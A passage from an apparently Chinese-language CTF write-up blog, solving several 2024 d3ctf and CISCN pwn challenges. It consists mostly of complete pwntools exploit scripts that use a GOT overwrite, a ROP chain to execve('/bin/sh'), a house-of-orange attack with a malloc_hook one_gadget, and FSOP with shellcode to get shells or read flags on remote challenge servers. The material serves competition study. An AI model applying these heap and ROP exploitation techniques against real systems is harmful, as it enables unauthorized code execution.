.text:0000000000068BFD 49 8D 57 01 lea rdx, [r15+1]
.text:0000000000068C01 83 E0 FD and eax, 0FFFFFFFDh
.text:0000000000068C04 75 63 jnz short loc_68C69

然后只需将sub eax,2Bh中的2B改为对应的标志符即可

但是修改后,仍然无法判断,可以对比修改前的程序和修改后的程序同时运行,发现_strtoull_internal函数运行前后返回值不同,发现修改函数中符号判断位置

1
2
3
4

.text:0000000000054686 C7 44 24 1C 00 00 00 00 mov [rsp+58h+var_3C], 0
.text:000000000005468E 41 80 FF 2B cmp r15b, 2Bh ; '+'
.text:0000000000054692 0F 84 78 01 00 00 jz loc_54810

修改完这两个位置后,就可以对接下来的输入进行判断了

1.如果猜测标志字符是字母,请输入 ?1 代表 %lu,如果 ?是对应的字符,则等待%u的输入,如果没有则直接退出。

2.如果您猜测标志字符是数字,请输入?对于 %lu,如果 ?是对应的数字,则直接退出,如果不是,则等待%u。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

#!/usr/bin/env python3
from pwn import*
#context.log_level = 'debug'

io = remote('0.0.0.0', 10001)
#io = process("./vuln")
io.recvuntil(b'd3ctf{[a-f0-9]{')
n = int(io.recv(2))
io.close()

def guess(c, offset):
global io
#io = process('./vuln')
io = remote('0.0.0.0',10001)

#attach(io, 'b write_mem')
#pause()

code_base = int(io.recvuntil(b'-', True), 16)
io.recvuntil(b'}}\n')

loc = 0x68bfa + 2 - 0x26000 + code_base
io.sendline(str(loc).encode())
io.sendline(str(offset).encode())

loc = 0x5468e + 3 - 0x26000 + code_base
io.sendline(str(loc).encode())
io.sendline(str(offset).encode())

if c in nums:
io.sendline(c.encode())
else:
io.sendline(c.encode()+b'1')


s = "abcdef"
nums = "1234567890"
flag = "d3ctf{"

sign = 0
for i in range(6, 6+n):
sign = 0
for c in s:
guess(c, i)
try:
io.recv(timeout=0.2)
flag += c
sign = 1
io.close()
break
except:
io.close()
continue
if sign:
continue
for c in nums:
guess(c, i)
try:
io.recv(timeout=0.2)
io.close()
continue
except:
flag += c
io.close()
break

print(flag)

flag = flag + "}"
print(flag)

个人认为官方这个解法反而不太好想到了

2024d3ctf-d3note

标签:负数溢出

负数溢出,然后虚拟内存空间中存在一块存放了一些介质信息的rw内存块

其他没啥好说的,直接改got表就是了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*

elf_path='./pwn'

libc=ELF('./libc.so.6',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=0

def run():
if(local):
return process(elf_path)
return remote('139.224.62.61',32273)

def show(idx):
sl(b'1300')
sleep(0.1)
sl(tbs(idx))


def edit(idx,content):
sl(b'2064')
sleep(0.1)
sl(tbs(idx))
sleep(0.1)
sl(content)

def add(idx,size,content):
sl(b'276')
sleep(0.1)
sl(tbs(idx))
sleep(0.1)
sl(tbs(size))
sleep(0.1)
sl(content)

def free(idx):
sl(b'6425')
sleep(0.1)
sl(tbs(idx))


p=run()

add(1,24,b'/bin/sh')

show(-1460)
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['_IO_2_1_stderr_']
#p.recv()
leak('libc',libc.address)

system=libc.sym['system']
#dbg()
edit(-1438,p32(0x404000))

edit(-1477,p64(system))
sleep(0.3)
free(1)
irt()

2024ciscn-gostack

cgo栈溢出题,没啥好说的,

唯一需要注意的就是需要修复栈上变量

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*

elf_path='./gostack'

libc=ELF('/home/aichch/glibc-all-in-one/libs/2.37-0ubuntu2_amd64/libc.so.6',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

#context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
ra =lambda time=0.5 :p.recvall(timeout=time)
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=0

def run():
if(local):
return process(elf_path)
return remote('8.147.131.196',38305)

p=run()
#dbg()
syscall=p64(0x4616c9)
pop_rax=p64(0x40f984)# pop rax; ret;
pop_rsi=p64(0x42138a)#pop rsi; ret;
pop_rdx=p64(0x4944ec)#pop rdx; ret;
mov_rdi_rdx=p64(0x4142f0)#mov rdi, rdx; mov rbp, qword ptr [rsp + 0x10]; add rsp, 0x18; ret;

payload=b'a'*256+p64(0x5401a0)+p64(1000)+p64(1000)+b'a'*184
payload+=pop_rsi+p64(0x5491a0)+pop_rdx+p64(0)+mov_rdi_rdx+b'b'*0x18
payload+=pop_rdx+p64(16)+pop_rax+p64(0)+syscall
payload+=pop_rsi+p64(0)+pop_rdx+p64(0x5491a0)+mov_rdi_rdx+b'c'*0x18
payload+=pop_rdx+p64(0)+pop_rax+p64(0x3b)+syscall+p64(0x6666)
sla(b'Input your magic message :',payload)

sleep(0.1)
s(b'/bin/sh\x00')
irt()

2024ciscn-orange_cat_diary

有一个越界写7个字节,先house_of_organe然后直接修改malloc_hook就是了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import*

elf_path='./orange_cat_diary'

libc=ELF('./libc-2.23.so',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
ra =lambda time=0.5 :p.recvall(timeout=time)
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=0

def run():
if(local):
return process(elf_path)
return remote('8.147.131.163',36115)

p=run()

def menu(cho):
sla(b'Please input your choice:',tbs(cho))

def add(size,content):
menu(1)
sla(b'length of the diary content:',tbs(size))
sa(b'Please enter the diary content:',content)

def show():
menu(2)

def delete():
menu(3)

def edit(size,content):
menu(4)
sla(b'Please input the length of the diary content:',tbs(size))
sa(b'enter the diary content:',content)#more 7


sla(b'tell me your name.',b'ixout')
add(0x1f8,b'aaaaaa')
edit(0x1fb,b'a'*0x1f8+b'\x01\x0e\0')
add(0xe00,b'abbbb')
add(0xf8,b'\0')
show()
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-0x3c5100
leak('libc',libc.address)
add(0x68,b'ddd')
delete()
fake=libc.address+0x3C4AED
one=libc.address+0xf03a4
edit(0x20,p64(fake))
add(0x68,b'aaaa')
add(0x68,b'c'*0x13+p64(one))
#dbg()
menu(1)
sla(b'length of the diary content:',tbs(30))
irt()

2024ciscn-ezheap

同样是越界写,fsop即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
from pwn import*

elf_path='./EzHeap'

libc=ELF('./libc.so.6',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
ra =lambda time=0.5 :p.recvall(timeout=time)
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=0

def run():
if(local):
return process(elf_path)
return remote('8.147.132.163',12640)

p=run()

def menu(idx):
sla(b'choice >> ',tbs(idx))

def add(size,content):
menu(1)
sla(b'size:',tbs(size))
sa(b'content:',content)

def delete(idx):
menu(2)
sla(b'idx:',tbs(idx))

def edit(idx,size,content):
menu(3)
sla(b'idx:',tbs(idx))
sla(b'size:',tbs(size))
sa(b'content:',content)

def show(idx):
menu(4)
sla(b'idx:',tbs(idx))
ru(b'content:')



add(0xf0,b'0000')

add(0xf0,b'1111')
delete(1)
edit(0,0x100,b'd'*0x100)
show(0)

ru(b'd'*0x100)
heapbase=(u64(r(5).ljust(8,b'\0'))<<12)-0x2000
leak('heap',heapbase)
edit(0,0x100,b'd'*0xf8+p64(0x101))

add(0x100,b'1111')



# rax2_addr

add(0x410,b'2222')
add(0x1a0,b'3333')
add(0x1a0,b'4444')
add(0x1a0,b'5555')
add(0x1a0,b'6666')
add(0xf0,b'777')
add(0xf0,b'888')
add(0xf0,b'9999')
add(0xf0,b'10')
add(0xf0,b'11')
add(0xf0,b'12')
add(0xf0,b'13')
add(0xf0,b'14')

delete(2)
edit(1,0x110,b'1'*0x110)
show(1)
ru(b'1'*0x110)
libc.address=u64(r(6).ljust(8,b'\0'))-0x21ace0
leak('libc',libc.address)

edit(1,0x110,b'1'*0x108+p64(0x421))

delete(14)
delete(13)

listall=libc.sym['_IO_list_all']
stdout=libc.sym['_IO_2_1_stdout_']
mprotect=libc.sym['mprotect']
setcon=libc.address+0x53A1D
wfile=libc.address+0x2170c0
edit(12,0x1b8,b'a'*0x100+p64((listall)^((heapbase>>12)+3)))
edit(12,0x1b8,b'a'*0xf8+p64(0x101))
gadget=libc.address+0x167420#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
payload = flat(
{
0x8:heapbase+0x2a50,
0x20:setcon,
0xa0:heapbase+0x2af8,#rsp
0x68:heapbase+0x2000,#rdi
0x70:0x1000,
0x88:7,
0xa8:mprotect,
},
filler = '\x00'
)
shellcode=shellcraft.open('flag')
shellcode+=shellcraft.read(3,heapbase,64)
shellcode+=shellcraft.write(1,heapbase,64)
payload+=p64(0)+p64(heapbase+0x2b00)+asm(shellcode)

fake_io_addr=heapbase+0x2f50 # 伪造的fake_IO结构体的地址
fake_IO_FILE=p64(heapbase+0x2a40) #_flags=rdi
fake_IO_FILE+=p64(heapbase+0x2a40)
fake_IO_FILE+=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(gadget)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heapbase+0x2000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(wfile+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)

edit(6,0x1a0,fake_IO_FILE)
edit(3,0x1a0,payload)


add(0xf0,b'4444')

add(0xf0,p64(fake_io_addr))
#dbg()
menu(5)
irt()